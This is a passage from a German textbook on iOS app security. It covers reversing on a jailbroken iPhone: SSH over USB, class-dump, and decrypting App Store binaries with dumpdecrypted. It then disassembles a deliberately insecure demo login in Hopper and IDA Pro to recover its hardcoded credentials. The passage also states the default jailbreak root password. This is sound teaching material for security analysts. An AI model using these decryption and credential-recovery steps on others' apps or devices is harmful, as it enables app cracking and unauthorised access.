Sobald wir dieses Paket installiert haben, ist es enorm wichtig, die Passwörter zu<br />

ändern, da diese fest vergeben und bei jedem iOS-Gerät nach dem erfolgreichen<br />

Jailbreak identisch sind4 (siehe hierzu Codebeispiel 5–1).<br />

# Verbinden per SSH:<br />

$: ssh root@<br />

# Ändern des Passworts für den Nutzer root:<br />

$: passwd root<br />

Changing password for root.<br />

New password:<br />

Retype new password:<br />

# Ändern des Passworts für den Nutzer mobile:<br />

$: passwd mobile<br />

Changing password for mobile.<br />

New password:<br />

Retype new password:<br />

Codebeispiel 5–1: Änderung der Passwörter per SSH<br />

4 Das Passwort für die Benutzer root und mobile lautet alpine.


5.2 Wichtige Tools und Helfer 119<br />

Das Ändern der Passwörter ist auch notwendig, um erneute Malware- bzw.<br />

Wurm-Ausbrüche wie zu Beginn der Jailbreak-Zeit mit Ikee5 zu vermeiden.<br />

5.2.3 libimobiledevice<br />

In den meisten Anwendungsszenarien wird eine Verbindung per SSH über ein<br />

gemeinsames Wi-Fi-Netzwerk vorgenommen, was hierfür auch ausreichend ist.<br />

Sobald man jedoch größere Datenmengen übertragen möchte oder gar eine auf<br />

dem Gerät befindliche Applikation debuggen will, ist diese Verbindung sehr langsam<br />

und oft auch anfällig für Verbindungsabbrüche, die einem das Leben deutlich<br />

erschweren.<br />

Um diese Probleme zu umgehen, gibt es ein hilfreiches Werkzeug, das ursprünglich<br />

von Nikias Bassen entwickelt wurde und nun in einer Sammlung von<br />

Werkzeugen namens libimobiledevice6 aufgegangen ist. Dieses Tool erlaubt es,<br />

die SSH- oder später auch die Debugger-Verbindung über USB zu tunneln und<br />

somit wesentlich zu beschleunigen und Verbindungsabbrüche zu verhindern.<br />

Im folgenden Beispiel installieren wir die erforderlichen Pakete auf unserem<br />

OS-X-Analysesystem und verbinden uns per SSH auf das angeschlossene und gerootete<br />

iPhone (siehe Codebeispiel 5–2):<br />

# Installation von libimobiledevice über brew:<br />

$: brew install libimobiledevice<br />

# Umleiten des lokalen Ports 2222 auf Port 22 auf dem per USB verbundenen<br />

iPhone:<br />

$: iproxy 2222 22<br />

waiting for connection<br />

# Aufbau der SSH-Verbindung zum angeschlossenen iPhone:<br />

$: ssh root@localhost -p 2222<br />

# Kopieren des eigenen SSH-Public-Key auf das iPhone um zukünftige<br />

Passwortabfragen beim Aufbau der SSH-Verbindung zu vermeiden:<br />

$: ssh root@localhost -p 2222 'mkdir -p ~/.ssh && cat >> ~/.ssh/<br />

authorized_keys' < ~/.ssh/id_rsa.pub<br />

Codebeispiel 5–2: Installation von libimobiledevice und Aufbau einer SSH-Verbindung zum<br />

iPhone<br />

5 Ikee Wurm: http://forensics.spreitzenbarth.de/current-ios-malware/<br />

6 libimobiledevice: https://github.com/libimobiledevice/libimobiledevice


120 5 Reversing von iOS-Applikationen<br />

5.2.4 class-dump<br />

Das Kommandozeilentool class-dump7 analysiert die Objective-C-Runtime-Informationen<br />

aus den Mach-O-Dateien und extrahiert sämtliche Header der enthaltenen<br />

Class-Dateien. Dabei versucht es, diese von der Syntax her wieder sehr nah<br />

an die Originaldateien zu bringen, sodass ein einfaches Lesen durch den Analysten<br />

gewährleistet wird. class-dump erzeugt dabei wieder .h-Dateien, die mit<br />

herkömmlichen C-Editoren gelesen werden können.<br />

Die Syntax von class-dump ist dabei sehr einfach gehalten (siehe Codebeispiel<br />

5–3):<br />

class-dump 3.5 (64 bit)<br />

Usage: class-dump [options] <br />

where options are:<br />

-a show instance variable offsets<br />

-A show implementation addresses<br />

--arch choose a specific architecture from a universal binary<br />

(ppc, ppc64, i386, x86_64)<br />

-C only display classes matching regular expression<br />

-f find string in method name<br />

-H generate header files in current directory, or directory specified<br />

with -o<br />

-I sort classes, categories, and protocols by inheritance (overrides<br />

-s)<br />

-o output directory used for -H<br />

-r recursively expand frameworks and fixed VM shared libraries<br />

-s sort classes and categories by name<br />

-S sort methods by name<br />

-t suppress header in output, for testing<br />

--list-arches list the arches in the file, then exit<br />

--sdk-ios specify iOS SDK version (will look in /Developer/Platforms/<br />

iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk<br />

--sdk-mac specify Mac OS X version (will look in /Developer/SDKs/<br />

MacOSX.sdk<br />

--sdk-root specify the full SDK root path (or use --sdk-ios/--sdk-mac<br />

for a shortcut)<br />

Codebeispiel 5–3: Syntax von class-dump<br />

Um aus unserer Testapplikation alle Header zu extrahieren, verwenden wir folgende<br />

Vorgehensweise (siehe Codebeispiel 5–4):<br />

7 class-dump: http://stevenygard.com/projects/class-dump/


5.2 Wichtige Tools und Helfer 121<br />

# Suche des eigentlichen Executables unserer Applikation:<br />

$: plutil -p Test.app/Info.plist | grep CFBundleExecutable<br />

"CFBundleExecutable" => "Test"<br />

# Extrahieren der Header in das Verzeichnis out:<br />

$: class-dump -S -s -H Test.app/Test -o out<br />

Codebeispiel 5–4: Verwendung von class-dump, um aus einer unverschlüsselten iOS-<br />

Applikation die Header zu extrahieren<br />

Im so entstandenen Verzeichnis out finden wir nun alle Class-Datei-Header, die<br />

die Applikation verwendet. Da dies schnell mehrere Hundert oder gar tausend<br />

Dateien sind, hilft an dieser Stelle meist nur Erfahrung und Gespür weiter.<br />

Was man aus diesen Dateien jedoch recht gut ableiten kann, ist der grobe<br />

Aufbau – also die Architektur – der Applikation, um so Punkte zu identifizieren,<br />

die für das tiefere Reversing lohnenswert sind. Mehr Details hierzu finden Sie im<br />

weiteren Verlauf dieses Kapitels.<br />

5.2.5 dumpdecrypted<br />

Apple hat als Schutz für seine Applikationen die darin enthaltenen Executables<br />

(also die eigentliche Applikation) verschlüsselt. Dies schützt davor, dass man sie –<br />

wie bei Android – einfach vom Gerät herunterladen und analysieren oder auf einem<br />

anderen Gerät installieren kann. Aus diesem Grund funktioniert das zuvor<br />

gezeigte class-dump auch nur bei unverschlüsselten oder eigenentwickelten Applikationen.<br />

Wollen wir uns jedoch eine Applikation aus dem Apple Store oder einem iOS-<br />

Gerät genauer anschauen, müssen wir diese erst entschlüsseln. Dazu hat Stefan<br />

Esser das Tool dumpdecrypted8 entwickelt. Um es einsetzen zu können, müssen<br />

wir es jedoch zuerst kompilieren (siehe Codebeispiel 5–5):<br />

# Download des Quellcodes von dumpdecrypted:<br />

$: git clone git://github.com/stefanesser/dumpdecrypted/<br />

# Kompilieren von dumpdecrypted:<br />

$: make<br />

`xcrun --sdk iphoneos --find gcc` -Os -Wimplicit -isysroot `xcrun --sdk<br />

iphoneos --show-sdk-path` -F`xcrun --sdk iphoneos --show-sdk-path`/<br />

System/Library/Frameworks -F`xcrun --sdk iphoneos --show-sdk-path`/<br />

System/Library/PrivateFrameworks -arch armv7 -arch armv7s -arch arm64 -c<br />

-o dumpdecrypted.o dumpdecrypted.c<br />

8 dumpdecrypted: https://github.com/stefanesser/dumpdecrypted/


122 5 Reversing von iOS-Applikationen<br />

`xcrun --sdk iphoneos --find gcc` -Os -Wimplicit -isysroot `xcrun --sdk<br />

iphoneos --show-sdk-path` -F`xcrun --sdk iphoneos --show-sdk-path`/<br />

System/Library/Frameworks -F`xcrun --sdk iphoneos --show-sdk-path`/<br />

System/Library/PrivateFrameworks -arch armv7 -arch armv7s -arch arm64 -<br />

dynamiclib -o dumpdecrypted.dylib dumpdecrypted.o<br />

Codebeispiel 5–5: Download und kompilieren von dumpdecrypted<br />

Nun sollten wir eine Datei namens dumpdecrypted.dylib erhalten haben, die wir im<br />

späteren Verlauf dieses Kapitels benötigen, um eine Applikation aus dem Apple<br />

Store zu entschlüsseln.<br />

5.2.6 lipo<br />

lipo ist ein Tool, das in der Lage ist, aus einer iOS-Applikation auszulesen, für<br />

welche Prozessorarchitekturen ein Executable in ihr kompiliert ist und es kann<br />

die Applikation auch insoweit verändern, dass bestimmte Architekturen entfernt<br />

werden. Dies ist gerade dann interessant, wenn man die Applikation mit Tools<br />

manipulieren möchte, die eine bestimmte Prozessorarchitektur nicht unterstützen.<br />

Dies kommt vor allem auf neueren Geräten und aktuellen iOS-Versionen vor, die<br />

bereits arm64 verwenden.<br />

Codebeispiel 5–6 zeigt, wie man mittels lipo alle enthaltenen Architekturen<br />

anzeigen lassen kann, wohingegen Codebeispiel 5–7 angibt, wie man alle nicht<br />

benötigten Architekturen aus der gepackten Applikation entfernen kann.<br />

$: lipo -info Test.decrypted<br />

Architectures in the fat file: Test.decrypted are: armv7 arm64<br />

Codebeispiel 5–6: Anzeigen der enthaltenen Prozessorarchitekturen mittels lipo<br />

$: lipo -thin armv7 -output Test-v7.decrypted Test.decrypted<br />

Codebeispiel 5–7: Löschen nicht benötigter Prozessorarchitekturen mittels lipo<br />

5.2.7 cycript<br />

cycript9 ist eine interaktive Konsole, die an jeden aktuell laufenden Prozess oder<br />

jede Applikation auf iOS angedockt werden kann, um diese damit zu manipulieren<br />

oder zumindest mit ihr zu interagieren. Dabei verwendet cycript eine Mischung<br />

aus der Objective-C++- und der JavaScript-Syntax. Um cycript auf einem<br />

iOS-Gerät verwenden zu können, müssen wir in Cydia das Paket cycript installieren<br />

(siehe Abbildung 5–3).<br />

9 cycript: http://www.cycript.org/


5.2 Wichtige Tools und Helfer 123<br />

Abb. 5–3: cycript-Paket in Cydia<br />

Ist die Installation erfolgreich gewesen, können wir uns wieder wie gewohnt per<br />

SSH auf das Endgerät verbinden und dort die cycript-Konsole starten. Codebeispiel<br />

5–8 zeigt, wie man die Konsole startet, und gibt in einem einfachen Beispiel<br />

einen ersten Einblick in die Mächtigkeit von cycript:<br />

# Starten der cycript-Konsole:<br />

$: cycript<br />

cy#<br />

# Erstellen eines einfachen Pop-up-Fensters:<br />

cy# var alert = [[UIAlertView alloc] initWithTitle:@"<strong>Hacking</strong> <strong>Mobile</strong>" message:<br />

@"Ein herzliches ''Hallo'' an den Analysten!" delegate:nil<br />

cancelButtonTitle:@"OK" otherButtonTitles:nil]<br />

#""<br />

cy# [alert show]<br />

# Beenden der cycript-Konsole:<br />

ctrl + d<br />

Codebeispiel 5–8: Erste Verwendung von cycript


124 5 Reversing von iOS-Applikationen<br />

Mit cycript ist noch eine ganze Menge mehr möglich, was wir im Verlauf dieses<br />

Kapitels – und besonders auch in Kapitel 6 – demonstrieren werden, um damit<br />

zum einen tiefer gehende Informationen über iOS-Applikationen zu erhalten, aber<br />

zum anderen auch, um direkt Schwachstellen in ihnen zu erkennen und auszunutzen.<br />

5.3 Beschaffen der zu untersuchenden Applikation<br />

Um eine Applikation von einem iOS-Gerät auf den Analyserechner zu bekommen,<br />

benötigen wir mehrere Schritte. Das ideale Vorgehen ist wie folgt:<br />

1. Auffinden der Applikation selbst<br />

2. Auffinden des Dokumentenverzeichnisses der Applikation<br />

3. Entschlüsseln der Applikation<br />

4. Übertragen der Applikation auf den Analyserechner<br />

5.3.1 Auffinden der Applikation selbst<br />

iOS speichert die Applikationen im Dateisystem unter dem Pfad /var/mobile/<br />

Containers/Bundle/Application/ ab. Das Problem ist, die sogenannte<br />

unique_id ausfindig zu machen, denn diese lässt sich nicht aus der Applikation<br />

ableiten.<br />

Der einfachste Weg hierzu ist, die gewünschte Applikation zu starten und sich<br />

im Anschluss per SSH auf das iOS-Gerät zu verbinden. Sobald wir auf dem iOS-<br />

Gerät eingeloggt sind, suchen wir mithilfe von ps nach dem laufenden Prozess<br />

unserer Applikation und erhalten als Zugabe das Verzeichnis, in der ihr Executable<br />

liegt (siehe Codebeispiel 5–9):<br />

$: ps -e | grep Test.app<br />

1392 ?? 0:02.38 /var/mobile/Containers/Bundle/Application/DFA9B5E3-0DD4-438E<br />

-94D1-17FF70189B43/Test.app/Test<br />

Codebeispiel 5–9: Verwendung von ps zum Auffinden der Applikation selbst<br />

Sollten wir uns beim Namen der gesuchten Applikation nicht sicher sein, so können<br />

wir auch einfach nach .app/ suchen. Wir erhalten dann zwar mehr Treffer,<br />

aber je nach Anzahl an aktuell laufenden Applikationen lässt sich sehr schnell der<br />

gesuchte Pfad finden.<br />

In unserem Fall müssen wir uns den Pfad /var/mobile/Containers/Bundle/<br />

Application/DFA9B5E3-0DD4-438E-94D1-17FF70189B43/ merken. Diesen benötigen<br />

wir in Schritt 3 (Abschnitt 5.3.3) wieder.


5.3 Beschaffen der zu untersuchenden Applikation 125<br />

5.3.2 Auffinden des Dokumentenverzeichnisses der Applikation<br />

Als Nächstes brauchen wir noch das zugehörige Dokumentenverzeichnis der Applikation,<br />

da sie im Regelfall nur dort Schreibrechte besitzt und wir diese zum<br />

Entschlüsseln des Executables benötigen. Dies geht am schnellsten mithilfe von<br />

cycript. Dazu gehen wir wie folgt vor (siehe Codebeispiel 5–10):<br />

$: cycript -p Test<br />

cy# [[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory<br />

inDomains:NSUserDomainMask][0]<br />

#"file:///var/mobile/Containers/Data/Application/2B3B8593-1B03-4148-A132-<br />

B52BC1439D52/Documents/"<br />

Codebeispiel 5–10: Verwendung von cycript zum Auffinden des Dokumentenverzeichnisses<br />

der Applikation<br />

Nun haben wir den zweiten Pfad, den wir für das eigentliche Entschlüsseln des<br />

Executables benötigen: /var/mobile/Containers/Data/Application/2B3B8593-1B03-<br />

4148-A132-B52BC1439D52/Documents/<br />

Auf manchen iOS 9-Endgeräten ist es nicht ohne Weiteres möglich, per scp in<br />

das Dokumentenverzeichnis zu schreiben. In diesen Fällen konnte jedoch direkt<br />

in das Homeverzeichnis des root-Nutzers geschrieben werden. Für diesen Fall ist<br />

einfach das Dokumentenverzeichnis durch /var/root/ zu ersetzen.<br />

5.3.3 Entschlüsseln der Applikationen<br />

Zum Entschlüsseln der Applikation bzw. dessen Executables kopieren wir die in<br />

Abschnitt 5.2.5 generierte dumpdecrypted.dylib auf das iOS-Gerät in das Dokumentenverzeichnis:<br />

$: scp -P 2222 dumpdecrypted.dylib root@localhost:/var/mobile/Containers/Data<br />

/Application/2B3B8593-1B03-4148-A132-B52BC1439D52/Documents/<br />

dumpdecrypted.dylib 100% 193KB 192.9KB/s 00:00<br />

Codebeispiel 5–11: Übertragen der dumpdecrypted.dylib auf das Endgerät<br />

Danach verbinden wir uns wieder per SSH mit dem iOS-Gerät und wechseln in<br />

das Dokumentenverzeichnis. Dort starten wir die Entschlüsselung wie in Codebeispiel<br />

5–12 gezeigt:<br />

$: DYLD_INSERT_LIBRARIES=dumpdecrypted.dylib /var/mobile/Containers/Bundle/<br />

Application/DFA9B5E3-0DD4-438E-94D1-17FF70189B43/Test.app/Test<br />

mach-o decryption dumper


126 5 Reversing von iOS-Applikationen<br />

DISCLAIMER: This tool is only meant for security research purposes, not for<br />

application crackers.<br />

[+] detected 32bit ARM binary in memory.<br />

[+] offset to cryptid found: @0x81a4c(from 0x81000) = a4c<br />

[+] Found encrypted data at address 00004000 of length 17678336 bytes - type<br />

1.<br />

[+] Opening /private/var/mobile/Containers/Bundle/Application/DFA9B5E3-0DD4<br />

-438E-94D1-17FF70189B43/Test.app/Test for reading.<br />

[+] Reading header<br />

[+] Detecting header type<br />

[+] Executable is a FAT image - searching for right architecture<br />

[+] Correct arch is at offset 16384 in the file<br />

[+] Opening Test.decrypted for writing.<br />

[+] Copying the not encrypted start of the file<br />

[+] Dumping the decrypted data into the file<br />

[+] Copying the not encrypted remainder of the file<br />

[+] Setting the LC_ENCRYPTION_INFO->cryptid to 0 at offset 4a4c<br />

[+] Closing original file<br />

[+] Closing dump file<br />

Codebeispiel 5–12: Entschlüsseln des Executables mittels dumpdecrypted<br />

Hat alles funktioniert, haben wir nun eine Datei namens Test.decrypted im Dokumentenverzeichnis.<br />

5.3.4 Übertragen der Applikation auf den Analyserechner<br />

Die so erzeugte entschlüsselte Version unserer Applikation können wir nun<br />

wieder mit scp auf unseren Analyserechner übertragen (siehe dazu Codebeispiel<br />

5–13):<br />

$: scp -P 2222 root@localhost:/var/mobile/Containers/Data/Application/<br />

2B3B8593-1B03-4148-A132-B52BC1439D52/Documents/Test.decrypted .<br />

Test.decrypted 100% 45MB 11.4MB/s 00:04<br />

Codebeispiel 5–13: Übertragen der Test.decrypted auf den Analyserechner<br />

Diese Datei können wir nun mit einem Decompiler unserer Wahl weiter analysieren<br />

oder mittels Tools wie otool und class-dump erste Informationen über die<br />

Applikation erlangen.


5.4 Werkzeuge zum Analysieren der Applikationen 127<br />

5.4 Werkzeuge zum Analysieren der Applikationen<br />

In den vorangegangenen Schritten haben wir die Applikation, die wir analysieren<br />

möchten, auf dem Gerät lokalisiert und die Entschlüsselung sowie das »Abspecken«<br />

erfolgreich durchgeführt. Nun folgt die eigentliche Arbeit: das Reversing.<br />

Dies ist bei iOS deutlich aufwendiger, als wir es bei Android gesehen hatten, was<br />

hauptsächlich daran liegt, dass wir es im Folgenden mit sehr komplexen Tools<br />

zu tun haben und mit einer Sprache – Assembly –, die sich doch deutlich von der<br />

Syntax der Applikations-Programmiersprachen unterscheidet.<br />

Für das Beispiel zum Reversing verwenden wir eine kleine Applikation, die<br />

ein Login-Fenster besitzt und gegen eine fest hinterlegte Benutzerkennung prüft<br />

(so sollte keine reale Applikation einen Nutzer authentifizieren). Diese Applikation<br />

ist in Objective-C geschrieben, da einige der Tools aktuell noch Probleme<br />

mit in Swift geschriebenen Applikationen haben. Den entscheidenden Teil des<br />

Quellcodes sehen wir in Codebeispiel 5–14:<br />

- (IBAction)sigininClicked:(id)sender {<br />

NSInteger success = 0;<br />

@try {<br />

if([[self.txtUsername text] isEqualToString:@""]<br />

|| [[self.txtPassword text] isEqualToString:@""] ) {<br />

[self alertStatus:@"Please enter Email and Password"<br />

:@"Sign in Failed!" :0];<br />

} else {<br />

if([[self.txtUsername text] isEqualToString:@"analyst"]<br />

&& [[self.txtPassword text] isEqualToString:@"secret"] ) {<br />

success = 1;<br />

NSLog(@"Success: %ld",(long)success);<br />

} else {<br />

[self alertStatus:@"Please enter Email and Password"<br />

:@"Sign in Failed!" :0];<br />

}<br />

if(success == 1)<br />

{<br />

NSLog(@"Login SUCCESS");<br />

} else {<br />

NSLog(@"Login FAILED");<br />

}<br />

}<br />

}


128 5 Reversing von iOS-Applikationen<br />

}<br />

@catch (NSException * e) {<br />

NSLog(@"Exception: %@", e);<br />

[self alertStatus:@"Sign in Failed." :@"Error!" :0];<br />

}<br />

if (success) {<br />

[self performSegueWithIdentifier:@"login_success" sender:self];<br />

}<br />

Codebeispiel 5–14: Entscheidender Teil des Quellcodes unserer Demo-Applikation<br />

5.4.1 Hopper<br />

Hopper oder auch Hopperapp ist ein sehr mächtiges Werkzeug, um iOS-Applikationen<br />

zu disassembeln – also aus den opcodes die passende Assembly-Sprache zu<br />

erzeugen – oder einzelne Methoden mit dem eingebauten Decompiler in Pseudocode<br />

umzuwandeln. Im Wesentlichen sind die Funktionen sehr ähnlich zu dem,<br />

was auch IDA Pro bei iOS-Applikationen bieten kann. Die Lizenz für Privatpersonen<br />

ist jedoch für gerade mal 90 Euro (Stand Januar 2016) zu bekommen, was<br />

es für diese Zielgruppe deutlich interessanter macht als IDA Pro (Lizenzen ab<br />

2.000 Euro – je nach Umfang).<br />

Laut dem Hersteller ist Hopper ein Reversing-Tool für OS X, Linux und<br />

Windows, das in der Lage ist, 32/64Bit-Intel-Mac-, Windows- und iOS-ARM-<br />

Executables zu disassembeln, und gerade bei Executables, die auf Objective-C<br />

beruhen, liefert der eingebaute Decompiler sehr gute Ergebnisse, wie wir später<br />

noch sehen werden.<br />

Wie wir in Abbildung 5–4 erkennen können, ist das Fenster in die folgenden<br />

vier Teile gegliedert:<br />

■<br />

■<br />

■<br />

■<br />

Links: Übersicht aller gefundenen Labels und Strings und der Suchfunktion<br />

Mitte: Prozessorinstruktionen und zugehörige Speicheradressen<br />

Rechts: Metainformationen über das Executable<br />

Oben: Die Menüleiste mit den wichtigsten Shortcuts von Hopper; besonders<br />

interessant sind hier die Schaltflächen auf der rechten Seite<br />

Über die Suchfunktion auf der linken Seite des Fensters suchen wir nun nach dem<br />

ViewController, der signinClicked im Namen hat. Aus den Hinweisen zu Beginn<br />

des Abschnittes wissen wir, dass hier die interessanten Inhalte versteckt sind. Alternativ<br />

könnten wir auch nach dem String Please enter Email and Password suchen,<br />

den wir von einem erfolglosen Login kennen.<br />

Die entsprechende Stelle zeigt Abbildung 5–5. Hier erkennen wir sehr schön,<br />

dass Assembly auf den ersten Blick recht wenig mit der ursprünglichen Syntax zu<br />

tun hat. In dieser Abbildung sehen wir auch die klassische Ansicht des Assemblers:


5.4 Werkzeuge zum Analysieren der Applikationen 129<br />

Abb. 5–4: Hopper


130 5 Reversing von iOS-Applikationen<br />

Abb. 5–5: Der gesuchte ViewController als Assembly-Code in Hopper<br />

■<br />

■<br />

■<br />

Die Speicheradresse<br />

Die Prozessorinstruktionen in Assembly<br />

Und mit das Wichtigste: der Kommentar mit oft sehr hilfreichen Hinweisen<br />

Durch Klicken auf den mit if(b) f(x); beschrifteten Knopf (rechts oben in der<br />

Menüleiste) können wir Hopper dazu bringen, dass er versucht, den Assemblycode<br />

in Pseudocode zu übersetzen (also zu dekompilieren). Dies macht es für Analysten,<br />

für die die Assembly-Sprache neu ist, deutlich einfacher, die Applikation zu<br />

verstehen. Den entscheidenden Teil des Ergebnisses sehen wir in Abbildung 5–6.<br />

Hier sind der fest hinterlegte Nutzername (analyst) und das zugehörige Passwort<br />

(secret) enthalten. Ein Login in die Applikation ist nun also für uns möglich.<br />

Aber auch hier sieht man, dass der Pseudocode stark vom eigentlichen Quellcode<br />

abweicht. Dies ist mit einer der größten Unterschiede zu Android, wo eine<br />

Rückgewinnung des ursprünglichen Quellcodes (oder zumindest sehr nahe daran)<br />

möglich war.<br />

In dieser Abbildung sehen wir vereinfacht, wie die Applikation vorgeht:<br />

■ Die Applikation liest die Nutzereingabe in das Feld txtUsername in die Variable<br />

var_C4 ein.<br />

■ Im Anschluss lädt sie den Inhalt dieser Variablen in das Register r0.<br />

■ Danach vergleicht sie den Inhalt des Registers r0 mit dem festen String analyst<br />

und speichert das Ergebnis dieses Vergleichs in der Variablen var_D4.


5.4 Werkzeuge zum Analysieren der Applikationen 131<br />

Abb. 5–6: Der gesuchte ViewController als Pseudocode in Hopper<br />

■<br />

■<br />

■<br />

■<br />

In der If-Abfrage wandelt sie den Inhalt aus var_D4 in Hex um und vergleicht<br />

ihn mit 0x0. Im Wesentlichen wird hier geprüft, ob der Vergleich aus der Zeile<br />

darüber ein True ergeben hat, also die Eingabe des Nutzernamens korrekt<br />

war.<br />

In den kommenden 4 Zeilen wird eine ähnliche Prüfung mit dem Passwort<br />

durchgeführt. Die einzige Besonderheit ist hier, dass nun 0x1, also True, in das<br />

Register r1 und von dort in die Variable var_D8 geschrieben wird.<br />

Im weiteren Verlauf wird der Inhalt dieser Variablen auf True geprüft und<br />

eine Reihe von Logausgaben vorgenommen.<br />

Die letzte If-Abfrage prüft nun nochmals, ob auch wirklich Passwort und<br />

Nutzername korrekt waren, und leitet den Nutzer dann auf die nächste View<br />

um. Nun ist der Nutzer eingeloggt.<br />

Neben diesen Funktionen bietet Hopper auch noch die Möglichkeit, einen Control-Flow-Graphen<br />

(CFG) zu erstellen. Dieser hilft bei manchen Applikationen,<br />

den Überblick über die Applikation und deren Verlauf zu bekommen, kann aber<br />

schnell sehr groß und unübersichtlich werden.<br />

Eine der letzten wichtigen Funktionen ist das Debuggen von Applikationen<br />

zur Laufzeit. Hierbei lässt sich ein iOS-Gerät direkt über den Debugger mit Hopper<br />

verbinden und man kann somit stückchenweise durch den Code springen,<br />

bis man an den interessanten Stellen angekommen ist. Dies ist immer dann hilf-


132 5 Reversing von iOS-Applikationen<br />

reich, wenn die Applikation sehr groß ist oder man nicht genau weiß, wo die<br />

interessanten Daten oder Abfragen im Code versteckt sind.<br />

5.4.2 IDA Pro<br />

Obwohl Tools wie Hopper oder auch radare2 deutlich günstiger sind als IDA<br />

Pro, hat sich IDA Pro als der Industriestandard durchgesetzt und wird nahezu<br />

von jedem professionellen Analysten oder Malware-Forscher verwendet.<br />

Wie wir in Abbildung 5–7 sehen können, ist das Fenster von IDA Pro mit der<br />

dekompilierten Applikation in die folgenden vier Teile gegliedert:<br />

■<br />

■<br />

■<br />

■<br />

Links: Übersicht aller gefundenen Funktionen innerhalb der dekompilierten<br />

Applikation<br />

Links unten: Die Graphendarstellung mit dem Programmfluss<br />

Mitte: Prozessorinstruktionen (Graphendarstellung)<br />

Oben: Die Menüleiste mit den wichtigsten Shortcuts von IDA Pro und den<br />

verschiedenen Fenstern, die standardmäßig geladen werden<br />

Wie wir schon bei Hopper im Abschnitt zuvor gesehen haben, können wir auch<br />

bei IDA Pro nach dem ViewController mit dem Namen signinClicked suchen. An<br />

dieser Stelle gehen wir aber einen anderen Weg, der ans selbe Ziel führt: Wir<br />

schauen uns die in der Applikation hinterlegten Strings an (siehe dazu Abbildung<br />

5–8).<br />

Finden wir hier interessante Strings – wie z. B. analyst –, so können wir diese<br />

für die Suche verwenden und uns die passenden Stellen im dekompilierten Quellcode<br />

anschauen. Die Abbildungen 5–9 und 5–10 zeigen die damit gefundene Stelle<br />

im Graphen und den weiteren Verlauf des Programmflusses.<br />

Hier erkennt man, dass die Applikation erst den Usernamen gegen den String<br />

analyst prüft und im Fall, dass dieser Vergleich erfolgreich ist, wird das eingegebene<br />

Passwort mit dem String secret verglichen. Erst wenn auch dieser Vergleich<br />

erfolgreich ist, wird der Nutzer an die nächste Oberfläche innerhalb der Applikation<br />

weitergeleitet und die Logmeldung Login SUCCESS wird abgesetzt.<br />

Was man hier sehr schön sehen kann, ist die Funktionsweise der Graphendarstellung,<br />

die auch gerade für Anfänger und eher ungeübte Nutzer von IDA<br />

Pro sehr hilfreich sein kann, um einen ersten Überblick über die Applikation und<br />

ihre Funktionen zu bekommen. Oft sieht man hier auch, auf welche Werte eine<br />

Applikation prüft und wann sie welche Wege im Programmfluss einschlägt.<br />

Ein weiteres Feature von IDA Pro – auf das wir hier nicht weiter eingehen –<br />

ist die Anbindung der eigenen API an externe Python-Skripte mittels IDAPython.<br />

Damit ist es möglich, IDA Pro aus eigenen Python-Skripten zu steuern und somit<br />

Funktionen, die man öfters benötigt oder automatisieren möchte, auszulagern.


5.4 Werkzeuge zum Analysieren der Applikationen 133<br />

Abb. 5–7: IDA Pro


134 5 Reversing von iOS-Applikationen<br />

Abb. 5–8: IDA Pro-Ansicht aller fest in der Applikation hinterlegten Strings<br />

Abb. 5–9: IDA Pro-Graphendarstellung der Prüfung von Usernamen und Passwort<br />

Dies kann die tägliche Arbeit mit IDA Pro erheblich erleichtern. Ein sehr gutes<br />

Beispiel hierzu findet man in einer Serie von Blogeinträgen der Firma Paloalto10.<br />

10 Using IDAPython to make your life easier: http://researchcenter.paloaltonetworks.<br />

com/2015/12/using-idapython-to-make-your-life-easier-part-1/


5.5 Zusammenfassung 135<br />

Abb. 5–10: IDA Pro-Graphendarstellung der Prüfung von Passwort und Weiterleitung an die<br />

»Success«-Funktion<br />

5.5 Zusammenfassung<br />

In diesem Kapitel wurde versucht, die Chancen, aber auch die Grenzen, von Reversing<br />

bzw. statischer Analyse aufzuzeigen. Wie auch schon bei Android gesehen,<br />

sollte jedem Analysten klar sein, dass man nicht ohne dieses Wissen auskommt,<br />

dass Reversing jedoch auch nicht die Lösung aller Probleme ist.<br />

In Abschnitt 5.1 wurde ein kurzer Workflow dargestellt, wie man bei der<br />

statischen Analyse als Sicherheitsanalyst vorgehen kann, um an eine verständliche<br />

Repräsentation des Applikationscodes zu gelangen. Dabei haben wir die gängigen<br />

Werkzeuge kennengelernt, mit denen man eine Applikation analysieren kann,<br />

ohne sie selbst ausführen zu müssen: Hopper und IDA Pro.<br />

Wie man an diesen Beispielen ganz gut erkennen kann, ist für die Analyse<br />

einer iOS-Applikation deutlich mehr an Vorwissen nötig, als es für eine vergleichbare<br />

Android-Applikation der Fall wäre. Dies liegt vor allem an der Komplexität<br />

einiger der gezeigten Werkzeuge, aber auch an der Notwendigkeit, Assembler-<br />

Sprache verstehen zu können.


137<br />

6 Sicherheitsprobleme bei<br />

iOS-Applikationen<br />

Wie schon bei Android gibt es auch bei iOS eine Vielzahl an Applikationen und<br />

fast ebenso viele Fehler, die ein Entwickler in eine Applikation einbauen kann.<br />

Apple versucht an dieser Stelle durch Anpassungen an der IDE und den API-<br />

Schnittstellen den Entwicklern zu helfen, aber leider schützt dies nicht gegen alle<br />

Sicherheitsprobleme, die ein Entwickler von Applikationen aus Versehen verursachen<br />

kann.<br />

Wie schon bei Android, so gilt auch hier: Selbst wenn man sich als Entwickler<br />

an Vorgaben zum Programmieren sicheren Codes hält, ist es immer noch sehr<br />

schwer, eine komplett fehlerfreie Applikation zu entwerfen. Zudem ist ein hohes<br />

Maß an Wissen nötig, um diesem Ziel auch nur ansatzweise nahe zu kommen.<br />

Da all diese Voraussetzungen nur selten erfüllt sind, ist es wichtig für uns<br />

als Sicherheitsanalysten – aber auch für Angreifer –, zu wissen, wo eventuelle<br />

Schwachstellen versteckt sind und wie sie sich finden und ausnutzen lassen.<br />

Aus diesem Grund schauen wir uns in diesem Kapitel wichtige Werkzeuge,<br />

aber auch die häufigsten Schwachstellen an. Dazu ist dieses Kapitel in fünf logische<br />

Teilgebiete unterteilt:<br />

1. Wichtige Werkzeuge zur Analyse (Abschnitt 6.1)<br />

2. Zugriffe auf personenbezogene Daten (Abschnitt 6.2)<br />

3. Manipulation von Applikationen zur Laufzeit (Abschnitt 6.3)<br />

4. Digitale Forensik (Abschnitt 6.4)<br />

5. Erkennen von fehlenden Sicherheitsfunktionen in einer Applikation (Abschnitt<br />

6.5)<br />

6.1 Wichtige Tools und Helfer<br />

Bevor wir in die Techniken und Probleme bei iOS-Applikationen eintauchen, sehen<br />

wir uns noch kurz ein paar sehr wichtige Tools an, die bei der Analyse hilfreich<br />

